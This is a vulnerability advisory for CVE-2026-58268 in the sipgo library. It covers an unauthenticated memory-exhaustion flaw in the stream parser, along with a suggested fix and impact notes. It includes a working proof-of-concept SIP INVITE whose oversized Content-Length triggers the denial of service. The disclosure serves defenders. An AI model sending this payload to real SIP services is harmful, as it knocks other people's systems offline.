SIPGO: DoS via unvalidated Content-Length in the stream parser

CVE-2026-58268

Description

Summary

The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.

Details

ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):

body := make([]byte, contentLength)   // contentLength is client-controlled, up to 2^32-1 (uint32)

The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.

PoC

Tested on emiago/sipgo v1.4.0 (latest).

Send a single message with a large Content-Length and no body to a SIP server:

INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:[email protected]>;tag=1
To: <sip:[email protected]>
Call-ID: [email protected]
CSeq: 1 INVITE
Content-Length: 4000000000                     // <- a large Content-Length

Suggested

Fix

Validate contentLength against ParseMaxMessageLength before the allocation.

Impact

Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.
